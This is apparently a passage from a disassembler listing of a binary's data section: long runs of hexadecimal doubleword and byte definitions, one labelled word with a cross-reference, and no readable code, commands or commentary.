dd 0DDF473D5h, 1D3647FBh, 0AB834597h, 92C6546Ah, 83A60C41h
dd 7EBB99EAh, 0BD6B3B79h, 0D22195B4h, 88293133h, 76665B41h
dd 8845F902h, 932C3303h, 21250EF6h, 2ED85AD0h, 1BBD5CD2h
dd 0BA285228h, 6B8D8C5Dh, 0C4FCD38h, 73977478h, 30D38178h
dd 5B45B31Ch, 983983F7h, 0A7BFC1F3h, 0EDE4BC54h, 37D99A16h
dd 96DCA0D2h, 64140EC5h, 404F9A78h, 10824656h, 786F737h
dd 42CF293Ah, 9B022156h, 3A1B3A7Ah, 7A49CE3Ch, 66099ECAh
dd 0C363CA5Eh, 0E5DF1E0Ch, 2CF9CD2Ch, 0EE23C3E7h, 0F54CB83Ch
dd 0C778256Eh, 327FAD7Ch, 2568EADEh, 2E0BDDEEh, 0D5DE0D63h
dd 2E9CCB6h, 833C0399h, 0AC31E364h, 2C825E3Ch, 0E6CCF80Dh
dd 34050C5Dh, 60A58717h, 9A2B2AC0h, 0D597137Bh, 0C043CA8h
dd 535B2A35h, 0ED76E68Ch, 315BA202h, 0B0FC338Ah, 0E48D1C88h
dd 0BA81E024h, 0F2739619h, 8F2AF53Bh, 9B394F3Ah, 0BCFC3794h
dd 614064B1h, 5E65BE5Eh, 9D74E8D0h, 0AC877F4h, 4936583h
dd 95AF87CEh, 897152F7h, 36020F40h, 350B69EDh, 9CE2931h
dd 3FB0A2D0h, 76BB7757h, 14059D01h, 4FA7EE1Fh, 0F0F40530h
dd 0EBF45DBAh, 0F1F181Ch, 39028445h, 0BD01A114h, 6F92FBFh
dd 0F8E3212Dh, 0BCC453A6h, 956A264Bh, 0DC5950FAh, 37D2FF50h
dd 4FD47676h, 0E20D40A4h, 1E8F660Ch, 16FFE072h, 76D3F649h
dd 0AF88815Ah, 20EECA49h, 0F24AF37h, 1B438214h, 8E92DDCAh
dd 88FF335Ah, 43490118h, 3F3FA186h, 89CD23F2h, 0A49950B0h
dd 0A3C035D5h, 834174C0h, 6DBC3335h, 1B2DF17Ah, 0EBEFDCA0h
dd 0DA18F7A8h, 0CB4CA762h, 5860CB65h, 0DEA2B469h, 78739AD7h
dd 0D3C5D46Ch, 2CD0F59Eh, 35745DD0h, 6992A8DAh, 1D3044BCh
dd 0C6C59367h, 5651030Eh, 6B06EF76h, 9616A446h, 0D5A84155h
dd 0D98EB99Fh, 3659A5AEh, 3254F69Fh, 33A681F0h, 9792AF23h
dd 1973DE09h, 0E78CC74Ch, 8429785Ch, 81AA0694h, 85E5DCCCh
dd 5F5C0A13h, 0A896313Fh, 3F96650Bh, 66439DE0h, 3066F87Dh
dd 6B9C3920h, 4E4BCDE6h, 0A732C1DBh, 538A4257h, 2CC51BEh
dd 791D903Bh, 2E8AA5B5h, 75DBC865h, 687DA264h, 12463131h
dd 38665F89h, 95CF5402h, 0B29C660Bh, 0E75D2DABh, 4DDA3E7Fh
dd 1646EA91h, 0A70D8380h, 0C2514DCCh, 0ED804F4Ah, 3C4521F0h
dd 4867B36Bh, 0AA7DF982h, 23822D99h, 0A67C2E4Fh, 0ABEB18CDh
dd 8C40AB1Eh, 5ADC8B87h, 0FB0B84D5h, 0F5899DE7h, 5B9291DFh
dd 34470C8Bh, 0C375023Ch, 1EF6F6E2h, 98AA79F6h, 5733066Ch
dd 540796D8h, 57A11D35h, 0F7C1E3B3h, 45232FF4h, 6BB9DBAh
dd 0CAC9091Ch, 38DCF84Dh, 0F3A4277Ah, 0BE1E17BCh, 0AC2FE3FFh
dd 0E6621AE1h, 0B1D09F07h, 8ADCCCF5h, 683351A6h, 387F372Ah
dd 0BA415B79h, 3CCAB6Ch, 763F862Ch, 0E8C41DB1h, 89F96776h
dd 0E0F70349h, 196AE39Bh, 5C940CAEh, 60D50134h, 0AF1C7DD6h
dd 0EEAE5D34h, 911EA715h, 0A3D42F30h, 19E3F16h, 62E286E9h
dd 0BEA792D0h, 804E35C5h, 0EA356055h, 0C33295ADh, 0A90F19F6h
dd 4AF35498h, 5F8CEE92h, 390E17A1h, 1B9F1D64h, 7BF7A694h
dd 5DBF4719h, 0B65A62E6h, 0D849F7DBh, 0D7B37BAh, 7E242C11h
dd 0C89C1B52h, 4251A19Eh, 0E5D3B8BEh, 267CAED7h, 0D147C93Fh
dd 5ACDCCA0h, 7F57C2FDh, 6962E23h, 0FBD80A87h, 218C255Ch
dd 0CDABF70Ah, 1160B742h, 8067D87Bh, 79C30F76h, 0BE7C5986h
dd 116ED701h, 9D18383Fh, 0EF2D0B42h, 6217CE2Dh, 0C691E22Ah
dd 0A65B2F0Ch, 9A361087h, 0CADD6A19h, 68CBEDFFh, 0EAC13463h
dd 72D6B919h, 0E37FAB52h, 0D21CA8B6h, 815343FCh, 0B27F5F25h
dd 865FFECCh, 5171F0CBh, 882AC013h, 19B90E0Bh, 251D9F6Dh
dd 48BEACB5h, 0A587FE1Ch, 0F1329B83h, 9FC99A35h, 7D0359A4h
dd 0C70D5757h, 0BC903A81h, 0B4AC17AFh, 0B620E4h, 0AB945D7Ch
dd 0A61180D1h, 0B06955B5h, 0ACA0126Dh, 0E07E0164h, 0ECC4ABDEh
dd 6B11A124h, 5D1949B4h, 108C90C1h, 91E50F66h, 0F07EFFB2h
dd 7A1C8C4Fh, 0C84918AEh, 0A4DC0F21h, 0A7D9030Ah, 0A589C8E8h
dd 0D7F8792Bh, 9943D5B3h, 0D58F3779h, 1C0FA0F8h, 0B5A4206Ah
dd 622716EAh, 96CB5B99h, 0DA16519Eh, 0CD2E2B1Fh, 3FECE64h
dd 8E512D40h, 0D6D4FCh, 15E895D9h, 24B8AB5Dh, 94B07BCh
dd 0BF8BE737h, 0A5C8D11Dh, 0F370C9h, 578064B4h, 0DD253FFDh
dd 43A0C8CDh, 9FEEE9h, 374A4728h, 436470B0h, 319D8135h
dd 0B642FECh, 68CA4C1Dh, 28CF64B8h, 47F0D745h, 93BE6665h
dd 9779F8FEh, 90E925A9h, 977FB15Ch, 0E68EE6ECh, 2859CB9Ah
dd 0DC694F3Bh, 21142FD5h, 0A2C1DF30h, 4EE767B8h, 0C950750Ch
dd 0B0FD76FCh, 8B12C08Eh, 0BABDD45Ch, 1B4A126h, 1687F210h
dd 24F2B2BDh, 1E409C5Ch, 138E79EDh, 0BE5C3A8Fh, 1DA76AA5h
dd 0CD91468h, 0F3764033h, 39E09BCBh, 6ED35258h, 184B4F8Fh
dd 0B9296C21h, 0A7161FE8h, 13529E94h, 23C10FB2h, 5F7E5562h
dd 54B32589h, 7214AB3Dh, 25226263h, 0D008175h, 18BFE887h
dd 22EE952Ah, 957A43FAh, 5D74BD39h, 0F431794Ch, 0F6E3E4B7h
dd 0F370CA1h, 14058734h, 78EC844Dh, 2521CF4Bh, 59A8F9ACh
dd 847164AEh, 0DC40113Dh, 0BC37B0DAh, 63D57532h, 6F6AD1A3h
dd 54CDF1ACh, 0ED14DFD6h, 0A5F82B0h, 0CF238967h, 0FE11FA48h
dd 27AF3709h, 9E356A8Bh, 0CBF463E0h, 0A9A64B95h, 0F3602C8Bh
dd 0EDE4A5DBh, 94C2402Ah, 12768058h, 31E63BB8h, 0A2CC4467h
dd 0F3394C1Ah, 19BEEA49h, 6355A8DEh, 0E6E8797Dh, 9033E49Fh
dd 8FFA3906h, 0A47AA8E2h, 0B2E9738Eh, 12385566h, 349B755Ch
dd 74F012A1h, 0A379FBA9h, 0FF548E4Bh, 0AFCB58C0h, 0F92C1746h
dd 0A2EBBADFh, 255CD881h, 31B33FCBh, 4EF527B8h, 123AA65h
dd 26DA2153h, 0AFA948EBh, 0B38C9C84h, 0A69749BFh, 9BC7E42Dh
dd 7D6D2F3Ch, 23D0A62Dh, 0C2C16145h, 8FCC62A0h, 4AA1F949h
dd 6277DE15h, 893DADB5h
dd 8D2D53ADh, 9A0A910h, 7388975Dh, 0D5E39324h, 0C68ED120h
dd 7A3FB82Ch, 0F1C8B12Bh, 518DC3D9h, 58F647ABh, 0C9B073B6h
dd 7B7615B7h, 0EAF1FCC8h, 7FBFF9C3h, 7A87BD55h, 5BD5F7BFh
dd 0FF5F0D0Fh, 52167128h, 4676EC1Dh, 9AADE85Dh, 85F6721Fh
dd 96DAB58Bh, 0EE7C083Dh, 2F51F1D2h, 467802E8h, 0E26264ACh
dd 0FE090DAFh, 39A6A292h, 0B9DEE352h, 960C21B0h, 10EA635Ah
dd 2B566740h, 0D5BABC08h, 0AD8E5E07h, 7B979CD9h, 0EA7187D9h
dd 0D2E3C19Eh, 1DA06D15h, 0AA965A80h, 2949CC1Eh, 425D52B3h
dd 7DCEF429h, 79DAC362h, 0DAB4EF1Ah, 0C22FDD1Eh, 6878AA4Bh
dd 9845E450h, 7BAC2693h, 0F5B0A992h, 0ADF28552h, 0DFE49DB1h
dd 16D6150Bh, 3493F341h, 1D49FA55h, 5390C733h, 0FBACADD9h
dd 6D76E0C1h, 20D9F90Eh, 0F2A26481h, 47077F0Eh, 0F8EACA11h
dd 5750BCEh, 920BCC67h, 0EB8A1C6Eh, 9EEC5225h, 2C26194Bh
dd 17FC07D4h, 3DC94025h, 10DD86Eh, 4BECB3F1h, 106C5002h
dd 0ECA6A2DFh, 6573E1F6h, 0AF1AA283h, 9FB6F57h, 85DFD3F1h
dd 0A23D4DF6h, 0EEA1051Ah, 0A8D7B10Ah, 45B8D674h, 0F7149742h
dd 5A002A87h, 7DBBA79h, 94BBEBB8h, 4B208D4Eh, 388B5C29h
dd 0D73D694Dh, 863AA5DEh, 8A0F213Dh, 79C2FE21h, 0E2DD3CC0h
dd 6FC6A54Eh, 0E5BF1F11h, 0AE941ABBh, 0E30C0D5Dh, 7F9D8CEFh
dd 0D8109B8Bh, 8C94227Ch, 0C6DCE2h, 406122C6h, 0DE14484Dh
dd 1C37912Eh, 1F0B0DC8h, 537138h, 934FB965h, 9400E50Ch
dd 3ACF1820h, 31FDFBA8h, 6EFA994Dh, 6CDB48B0h, 0DE34FC42h
dd 14D02480h, 9336430Fh, 7439B078h, 0ABB0B748h, 76B79B1Bh
dd 3C9F270Dh, 2DDDFAE5h, 0B602B816h, 0EBE619A3h, 882A9C83h
dd 3F9248C6h, 26D0EDB9h, 10060Ah, 0B93F7361h, 0DB1BE597h
dd 0C18241A6h, 0DE7A02DDh, 0B078DA7Eh, 77E623C4h, 6EACAD3Dh
dd 0A84418A1h, 0F9A33807h, 0D4DF1085h, 7E0B11B2h, 2FD33CAFh
dd 30BA817Ch, 0DA1C890Eh, 0A96348DDh, 0B4A08E62h, 0A1C4F991h
dd 0BC9B2A4h, 9B11A8Bh, 94E35799h, 93DEE582h, 0D0456C63h
dd 5C006D8Eh, 1D1F7274h, 7711300Eh, 2F335E55h, 9D792075h
dd 6C5E9ADFh, 2B0E8D23h, 3949F85Ah, 28C4164Bh, 0B1092220h
dd 0D5A62770h, 869D4656h, 64BD41D6h, 0F3B761B7h, 12962C2Bh
dd 9CC67C30h, 0E90E1F0h, 9D6D4973h, 0E143CB2Eh, 0A0E5A050h
dd 40A645BAh, 8DC91C16h, 0D1896A71h, 8831E40h, 89AD23DAh
dd 0D99E24B3h, 6AEC9117h, 24DF7FF4h, 4FFE2B4Bh, 0D5D923BEh
dd 0A79E5045h, 9D156066h, 74EF330Fh, 30B3A0B0h, 0C4E45F6Bh
dd 43128554h, 108EFB58h, 19787F3Dh, 946BC58Dh, 7B8E93CDh
dd 0A6FFD31Ch, 1EDF77A1h, 0F3861601h, 0C836855Ah, 8C34C387h
dd 84E2FB7Ah, 0A75799A0h, 0CF773306h, 3CA450FDh, 0D1098D4h
dd 2FE7B3E2h, 78175F53h, 5EA9D805h, 83ECFCE1h, 85D4E79Eh
dd 0FADFBD8Ch, 0B6541918h, 2B6FAF0Ah, 53ECB4DFh, 4AD589C5h
dd 3C74389Ch, 46DEF541h, 33BD7C65h, 914D9962h, 0A279AE98h
dd 0DDC58BDh, 6CFF43ACh, 6ED2CE9h, 25697C0Eh, 3D48B07Fh
dd 0EC32A3EBh, 0D5F89CCDh, 0AC7C40CFh, 6A7F619Bh, 0EB57844Fh
dd 0EF09463Fh, 85F0DD23h, 39588A7Dh, 0A719E35Eh, 5DFDC4BCh
dd 31396417h, 70F337DCh, 9DDE08FBh, 51B89F6Eh, 862781D1h
dd 0CA73CA0Ah, 0C030D178h, 0AE1EF748h, 84B908EBh, 1CDF7C65h
dd 0F2E17A68h, 173E8CE0h, 7AEB5B1Ch, 0C78B84F5h, 0CFCA47D4h
dd 25333B2h, 43490D03h, 5F0778E8h, 0A60B0BF6h, 0DD61AF17h
dd 74B3598Ch, 0E9663767h, 0AA9194A2h, 6050DF3Ah, 54127C17h
dd 0B674010h, 0C6113984h, 0F15AF4A5h, 0F25DE543h, 99396949h
dd 46D86DFAh, 38760EE6h, 9B46AC32h, 38CC0800h, 9F7E50B1h
dd 0AAF8E3F9h, 0EEABAE06h, 0BDFB42A2h, 0F6E236F1h, 0A0BF8AABh
dd 0A5C7ED6Dh, 0F8F675B9h, 0BE6068Ch, 2FF7877Bh, 0DB3D713Ch
dd 952E7568h, 440C6540h, 4153F267h, 0A69BF4A5h, 0AE5F0B2h
dd 5B89955Eh, 2FAE1F6Fh, 0AB9C66F1h, 0E30BF803h, 6E0E3672h
dd 19AF84B2h, 0AD119636h, 66D9A7A1h, 2D40D18Ch, 3F5F5AF8h
dd 17F31DCCh, 0FFDD7FE3h, 77C5417Bh, 2B44B89Ah, 10C92938h
dd 7F8247Ah, 0C82E4531h, 0F6B7B656h, 0FB8ED6A6h, 76B96B15h
dd 0CB4C0FF3h, 0D0FC6B93h, 4AAA7216h, 5A8A132Ch, 0AF6E0AD1h
dd 0FEBE4C5Fh, 472768F2h, 7B2B96BEh, 376E8FC0h, 0D1742B06h
dd 426D61C1h, 3D9B40CDh, 3B532F41h, 53219272h, 0D02CC2ACh
dd 0CF501308h, 928BE8A8h, 9941F903h, 1BD803C4h, 79DF0D0h
dd 94BE784Fh, 0DC02F43Bh, 0D3E10FF5h, 591B074Eh, 8CE6CE2Ch
dd 60E9064Ah, 3881F4C9h, 0F8C62EB6h, 0F303BE01h, 25E89FF3h
dd 0F1EDECCh, 1DF0B33Ah, 41DCC8Fh, 0ECB511EDh, 54D6BB59h
dd 0D211576Eh, 1817933h, 4ADAF234h, 92A8FEC6h, 0B643AF4Fh
dd 18ACF611h, 595450CDh, 0EB2D023h, 7B9CE08Ch, 0DF427CC5h
dd 0DD63E9FFh, 1C8BCE03h, 3259D3D9h, 5CCFEC7Ah, 0EA0757A2h
dd 1C33116Eh, 85959850h, 1C935F49h, 0BDAF8133h, 6E5E3171h
dd 5F5DC6BBh, 0D3F37C20h, 0C68561A7h, 0E667BDCFh, 5C2CC6C9h
dd 0A15B3CC2h, 0D89F852Ch, 330348C9h, 63FF5BCFh, 0FC1C08FBh
dd 0A93AFF8Eh, 0E4D75E6Dh, 65FDF10Eh, 7309C762h, 299B873Eh
dd 38BD003Bh, 0AFD8B9A4h, 79431912h, 988A5F51h, 476B10C4h
dd 0EBB6F4CDh, 305BA608h, 7651660h, 0E43A3582h, 92BDAE5Bh
dd 1024D0A2h, 2F280584h, 6CA1D6A1h, 0B602783Ch, 750BC87Bh
dd 39609D65h, 0FAE16A6Ah, 0DAC0E46Eh, 79203BACh, 0DDB8699Ah
dd 46293A06h, 64BEA4E7h, 0A31EFAC6h, 0C2DF6F10h, 0F54571F4h
dd 3A8871B0h, 0B80B0EA6h, 0C9A1A9Fh, 3F566F9Ah, 0CC0941AFh
dd 0D8F00DF1h, 4F5EF284h, 16EAC114h, 0A67889ACh, 9A8CB737h
dd 0C79E489h, 0F2F88931h, 0BF1AAD02h, 669909E8h, 792A51BDh
dd 0B2C72CD0h, 64894EE4h, 0B3CC3B0Ah, 90BBFFA2h, 25FB868Bh
dd 9B52DBB8h, 0EE4344FEh, 5D225232h, 67F21EB2h, 0A486FBE7h
dd 2EF114FFh, 28CF3B58h, 0B89D6AE1h, 0E14D542Eh, 0AC61549Fh
dd 11CE067h, 445DE624h, 239FDE23h, 0C97FF2CCh, 0CD297503h
dd 60DCE2E6h, 0E8B15068h, 0C1107804h, 97B11F4Eh, 0E768F150h
dd 561B1E22h, 0AB1C9F99h, 3401BA14h, 0F457AFD2h, 0B7C1083Fh
dd 282C86BFh, 0C2A45EFFh, 0BB63464Bh, 5AB5916Dh, 0B12E39D9h
dd 0D7AB343Ah, 0A9E55655h, 21BCC439h, 5AF9E87Fh, 0C8517617h
dd 72563C19h, 47AC877Ah, 2B43005Ah, 0E98227AAh, 76E31646h
dd 0B3888EB0h, 0BCF64C08h, 0B35563D5h, 1BFD3CF0h, 1A507170h
dd 3AB93C47h, 0B109B8D6h, 0A2D816D5h, 8CA493EAh, 0EB730B23h
dd 0B1DFFA48h, 54D8D130h, 432E9D16h, 4DE2AD12h, 0B5E85A5Eh
dd 0AC8AA439h, 0C3FAABE3h, 0A73DFB3h, 0F193F89Fh, 5343285Eh
dd 46F87E83h, 0EA662803h, 436918B4h, 3755645Eh, 366FC84Eh
dd 2C1CF9C8h, 4BD38DCAh, 0ADD192D6h, 0DBF1B05Bh, 0E17E9CC0h
dd 0EC1C75B2h, 57F3756Fh, 0B4479244h, 5F634D7Fh, 0F80C3E9Dh
dd 0E95F8B95h, 46A628B0h, 0BF8B03E4h, 4999C146h, 26864223h
dd 0DCA06FA4h, 0D1840032h, 586FF497h, 48B4F036h, 4513FBDDh
dd 0FFF743F7h, 6E9790C5h, 0DC68316Ch, 17294877h, 0F15CFAC0h
dd 56E7EC31h, 27AA7A58h, 6E1C8DF3h, 84974552h, 2A42A18Ch
dd 6C0AA5E7h, 0F6CED121h, 42A9654Ch, 95238E2h, 0D373C8BCh
dd 7C3E5F46h, 0FE16EAA3h
dd 0F734C5C3h, 73C03ED7h, 424920DBh, 2CDAC55Bh, 5D48E956h
dd 83896CCh, 8726386Ah, 9464BC3Eh, 0F81C045Ah, 90EEC0E5h
dd 4F932999h, 2CC167B4h, 6D1E1985h, 0D1A0DB7h, 780ED0h
dd 0F77BFF8Fh, 1EC59896h, 0C95249AEh, 1BFE143h, 0C648B32Eh
dd 0D19A0F27h, 0DC539F2h, 0EFEEF262h, 7546461Ah, 936FE3F2h
dd 34DDB112h, 0A6B00D60h, 2CAC1C46h, 2E4EDFBh, 90AAD6FBh
dd 255827E4h, 0A82F27A7h, 0F9FC434Bh, 8CF9F932h, 55EDAA0Fh
dd 49A7FAE6h, 1F8B86D6h, 4B72E8A6h, 40B08B15h, 0A57AE430h
dd 67E2E708h, 91AD5A2Fh, 7CF275D7h, 75C79032h, 1580905Eh
dd 8756AA82h, 32E48B70h, 719A9F6h, 0C9CA01D1h, 0E4DF75A1h
dd 0D7AF47CAh, 0AD53EB71h, 7D6F3E3Ah, 5E9BD75Dh, 58945BA5h
dd 7105D8B6h, 5F1C1F7h, 59EE2CDFh, 0D2140ADh, 913D6FF6h
dd 61AF53BAh, 136DAEEAh, 0BB084E3Eh, 0B3241D2Bh, 4239C09h
dd 2A4DCEEBh, 0D81E4C9Ah, 0BF18AAB4h, 13919E62h, 30D4100h
dd 0B338A9D0h, 0FDD749D6h, 0D8358186h, 0CE92945h, 4DAD9246h
dd 91A2B6E4h, 0D3705A4Ch, 0A4F6206Ah, 9D2EEAF4h, 63877ED3h
dd 11797808h, 0E2B25380h, 38D75253h, 0AB0E926Ch, 93499CA6h
dd 39F76AFAh, 11C36C56h, 23AACF0h, 65A0CA0Dh, 0CA2768B3h
dd 0D904C0F3h, 4351C421h, 0F661A58Bh, 0E4BF081Ch, 0D5D785FDh
dd 41124B58h, 8B3BB632h, 3664783Fh, 45F6A4ECh, 771A4033h
dd 7ED6B715h, 0E11F429h, 72E993AAh, 1649897Ch, 0A6C27BC9h
dd 0A62E7187h, 0A0CFC14Dh, 0B820628Ch, 87967914h, 0C4E0B3C9h
dd 776BFFD1h, 6F93DA95h, 0A35151A3h, 682795ECh, 49E26A25h
dd 8807CC60h, 660043F8h, 0AB380523h, 6CA7D75Ah, 382C208h
dd 0EFDF266h, 0D0FE0714h, 0C5313598h, 0F4FA72Ah, 0EEEFDDABh
dd 8B360A8Eh, 0ED05AC8Ch, 839CC450h, 0BDCE9138h, 0ECF1F943h
dd 0A36D180Dh, 3D2A63AEh, 0E3A3AA65h, 8A5CBC1Ch, 0BF82D484h
dd 0A046C34Ch, 0B81F76EAh, 943B01D7h, 1DDF7BD1h, 0D6E356A6h
dd 0AE87FACh, 0C7905B93h, 2FE8468Eh, 686C6F55h, 0C6B3F44Eh
dd 2B67C31Bh, 93E747C1h, 6CF0D2EAh, 5304740Ch, 972CE9CEh
dd 554F3397h, 0DA0A8DD2h, 0E8C5170Fh, 0CBAD1B00h, 9A6A0A7Bh
dd 83CDA443h, 0D3BF7205h, 63565A39h, 0E4187E94h, 3FCC2895h
dd 731160A4h, 7A246A3Eh, 1A425F1Ah, 5B475114h, 25789C74h
dd 63F146D3h, 9DAFECFFh, 20493DC6h, 0E64590D7h, 0FD3C61FCh
dd 0F1CE4DB0h, 1461A8C8h, 0D842E716h, 0DAA1C1EDh, 0FBEF1E8h
dd 7EDCAA64h, 7143C5DDh, 196C8219h, 13E1FF50h, 770CAA5Ah
dd 46779DB4h, 21B431D4h, 8E864692h, 7F93894Bh, 0B182582Ch
dd 0C7D49309h, 0FD9B0A96h, 28DC2A3Ch, 0F76306A0h, 89DDA845h
dd 136307Bh, 32EF8027h, 55314FC7h, 6C8D57EEh, 0A0AB5FFBh
dd 0A3C419D0h, 22DA7694h, 4F46B8DEh, 16B5E14Fh, 480CA6ADh
dd 8EDEF886h, 0C512B3BBh, 0A270D5B9h, 1DAA9972h, 0B91B5D92h
dd 0CD31E4BFh, 0CF591465h, 5BFFB2E6h, 0C137E8F2h, 0FFF35131h
dd 7A57822Ah, 52C45D84h, 23E83416h, 0AEB29866h, 5526580h
dd 39675F28h, 88ABE60Eh, 27EEB55Dh, 9931F81Ah, 4DCD2C30h
dd 0F0C9F846h, 5914EE4Bh, 0DEBDB68Ch, 1948DC94h, 8AA9F28h
dd 9AD30727h, 0C904C922h, 0E440BEE3h, 0FFAA2AF7h, 0CE2B4346h
dd 9B4459D9h, 50C7C8A5h, 0A41930B0h, 1A5F5B4Ah, 0D9129AAAh
dd 39971DCFh, 5EFB9A9h, 617D7864h, 2A15B5AEh, 29705396h
dd 44EED067h, 7B9348F2h, 0BD0CCF93h, 94FE315Ch, 0F24BD485h
dd 0E9045CFDh, 0A53A9E62h, 0DA238758h, 20430C76h, 7224D45Fh
dd 40292944h, 631917C1h, 9D9D62F9h, 0C2710DB1h, 48628397h
dd 0FF3A40CBh, 16064345h, 9C281C5Bh, 0D09FFF2h, 9C90EFF7h
dd 0E5BABB0Bh, 88FB0F3h, 48AF9501h, 0AC386CEDh, 4AF391FCh
dd 6BA54818h, 8B44D04Fh, 0C3853328h, 0E0F9DA4Ch, 84C6E82Bh
dd 0E2A39755h, 0C073FB5Bh, 0E4A1C011h, 855BAC2Eh, 4BE3FD1Ah
dd 1B3EBBDCh, 23A62C8Bh, 9F606B56h, 0E7955AF6h, 93882C52h
dd 16513053h, 6ADF0C35h, 8B49F17Ah, 0ED4EF612h, 1B05C66Ch
dd 22C2114Eh, 848A245Eh, 0EB285727h, 0C7E2EC63h, 0FD3B740Fh
dd 5CF7371Ah, 632FFD0Ah, 8AF7EDD5h, 0A6EC4B64h, 0ABC42DB4h
dd 0A61F90BCh, 767D375Ch, 0F4FE0D52h, 1F6FD538h, 0CD10F272h
dd 1BDC2F6Eh, 0EF3F16FDh, 58AD6FEEh, 0F8BAE17Dh, 9A5AAD9Fh
dd 0A97E7B8Eh, 21E30C4Ch, 453BF00Dh, 0D7B98E33h, 15FA5F59h
dd 0C2618AF9h, 71008526h, 0E11B17BEh, 0A08680D8h, 0B8D70F34h
dd 2E8FD74Ch, 0D1B10F98h, 2D0BC7CDh, 0B0E9D548h, 6BDCE8DCh
dd 4D64A326h, 0C26C0957h, 0BB6F8684h, 335A363Ah, 0F4A00D7h
dd 0E5108EEDh, 92930A36h, 6E8316B6h, 226E080Ch, 938F608Dh
dd 6FB5C3DEh, 0B776D57Bh, 950A5AD0h, 0C1B831C5h, 5BEF2DACh
dd 0A314CEE6h, 1E937EB2h, 0AD6CA63Ah, 9BF97261h, 0B3F1A345h
dd 3102FEECh, 41CFDD2Fh, 92189BB9h, 713B7387h, 7BB27A3Fh
dd 82AF194Fh, 90F8C0F2h, 410BC5F5h, 88F37D73h, 9169307h
dd 92A50BA6h, 6D4A626Bh, 2CFCB49Eh, 938E2C1Dh, 8D99A75Ch
dd 1A4F42B6h, 76345E5Fh, 0A3681C56h, 61F145FEh, 0AA6E47F9h
dd 0CBDFCF94h, 0CE13EF7Ch
db 84h, 13h
word_697246 dw 8F3h ; DATA XREF: ?9:00437F00o
db 90h
db 47h, 0F4h, 31h
dd 0E1B66443h, 75431858h, 0D57D6D0Bh, 0C5D28A75h, 28AA0216h
dd 8476B6CAh, 2D3C1052h, 13788EA9h, 15654B0Ah, 0B71BC1BAh
dd 9D12A462h, 0B2609FF2h, 118082FDh, 0EA980B56h, 9031C80Fh
dd 61C9077Dh, 169F580Dh, 0A7223967h, 0FDB5836Dh, 0F8D49D2Bh
dd 3B107D83h, 0F8E36842h, 0D17AE07h, 2998B561h, 66F292D6h
dd 0E801F6FAh, 55CCCC7h, 972789A4h, 0D555042h, 528CFB12h
dd 7B479A56h, 0CF101CC0h, 1603BBD0h, 0F46F6A98h, 0B07D0FA5h
dd 1AFD54DDh, 8C7572F9h, 0C96648F2h, 0E88419D5h, 5C816A76h
dd 0BEF66712h, 213D7090h, 5AA8A960h, 2895D9C2h, 0B6DED597h
dd 0FFDCD9Dh, 6FB51749h, 0B23B0F16h, 55B376FCh, 0D7682FB1h
dd 7A33660Dh, 0BCF5561Fh, 0C3243802h, 97854FA2h, 59B4D3EFh
dd 8409B21Dh, 4407C53h, 20C5F236h, 0E3071444h, 0E0797E6Eh
dd 96339874h, 28F1BDh, 28A710A8h, 25B79783h, 2B686FB6h
dd 0D729D972h, 0FE6729FCh, 0EB49EE47h, 85899D0Fh, 221C14C5h
dd 43022A04h, 31CB4245h, 64CD2B4Fh, 919519F3h, 0C56BF128h
dd 2BCD2071h, 6075D2ABh, 0C5DDF0F7h, 0EE00D874h, 442F5F0Fh
dd 8F5C64ACh, 0C8ED60BFh, 26CBFF77h, 7A95B084h, 4A8C1F19h
dd 0CC7C3184h, 6501E7Bh, 0FD77D3BFh, 780B624Eh, 70D72E0Dh
dd 8C039113h, 0CC90A3FBh, 0E79B18ACh, 32B33675h, 0B7F3C097h
dd 602401B8h, 0E97E5A1Bh, 7F46CDBEh, 0D426E715h, 9D6C175Ch
dd 49CA7A83h, 0B6229F9h, 0A7E3CB53h, 338A4573h, 0B96E5262h
dd 0EBAC0292h, 9D5B1035h, 884F344Fh, 0F4888A70h, 31952A22h
dd 0DDBC58DDh, 4BAA2AC6h, 0D135ECB4h, 4F361D61h, 5F2A600Eh
dd 0AD70625h, 98F492F2h, 4BB3D6C9h, 0EBFC4639h, 97403A9Bh
dd 4FEB464Bh, 0C202A082h, 790920D8h, 43545B89h, 11958AD0h
dd 1D0560EFh, 9EECA5BAh, 0DD0CD9F1h, 0D112444Eh, 0DFA7F5E6h
dd 0E63D4977h, 30EBA964h, 4623F288h, 74A78D93h, 0F9D4F77h
dd 0EE6F30A3h, 68A70550h, 0FC3C5685h, 75C18F69h, 0EBA7A079h
dd 0B7B64AFh, 5DA109Eh, 170EA32h, 747BE1F5h, 7794D93Dh
dd 477554F5h, 0DD245914h, 0FBDEC6B6h, 68DED9B3h, 72E0EDh
dd 0BE8036A0h, 0FD5D5DC2h, 3917949Ah, 19320B2Dh, 3E252AA5h
dd 0B92F4774h, 0B4FD4BCDh, 7B2C66EBh, 0D6C0205Ah, 0B9A6BD16h
dd 23933296h, 1ACE0359h, 0F7D608A2h, 8767424Fh, 4A616F6h
dd 47BD5E26h, 336CA9ACh, 1DE67AF3h, 0D3E11DF6h, 57614F7Ah
dd 0E4B86Bh, 9C053CDh, 39C030BAh, 324EEE04h, 1AE281A6h
dd 7E38A257h, 4FC09D6Ch, 0A64655C5h, 9BF4854Ch, 0BF283F29h
dd 3E88FC5Eh, 1EA8E102h, 0BE12A2B5h, 0EAA555B8h, 1469360Fh
dd 74453EA6h, 6FCA0265h, 6F6D2AB1h, 0F00FB362h, 472DE8FEh
dd 941CEFF0h, 7D14A241h, 7097D165h, 0FCA491E1h, 3D1C95CDh
dd 785A2C77h, 298E8D5h, 70B1B7B0h, 0F2435587h, 2468BE56h
dd 703DD203h, 0B93333F4h, 0E370CF1Eh, 237BDC44h, 0DE6788EFh
dd 0E510441Dh, 9D5D8CB4h, 0BFF33156h, 0CA8B5E09h, 0E689F048h
dd 326A7C74h, 0C3931D71h, 968094E2h, 57036E66h, 32CBD040h
dd 8833D347h, 0E444E554h, 0C651593Bh, 4E922EA7h, 0AD16C3D0h
dd 0CE62C3C4h, 8FF985A7h, 0E825317Fh, 2685094Eh, 6AB40FB0h
dd 0E65C2071h, 13C22B1h, 0D0E2C145h, 29B21049h, 1D1E48DEh
dd 45E834C5h, 0A4B55749h, 4779A43Eh, 95359946h, 0C376ABC6h
dd 79ABB26Dh, 0CDF061AEh, 8C702ACh, 31924B9Fh, 17D3D6B6h
dd 3B9FA0F1h, 9F8D5750h, 1C3DF823h, 9A66ADDDh, 0E5885821h
dd 60F9590h, 9DE090D2h, 26AF0713h, 3CE14385h, 8C7E9E0Dh
dd 0D9A32C73h, 3267E9A7h, 2149ED76h, 0A5825C71h, 4BEA05E8h
dd 60589C38h, 0A86DCC7Ch, 0DC24ABF8h, 5785A97Ah, 9EF1873Bh
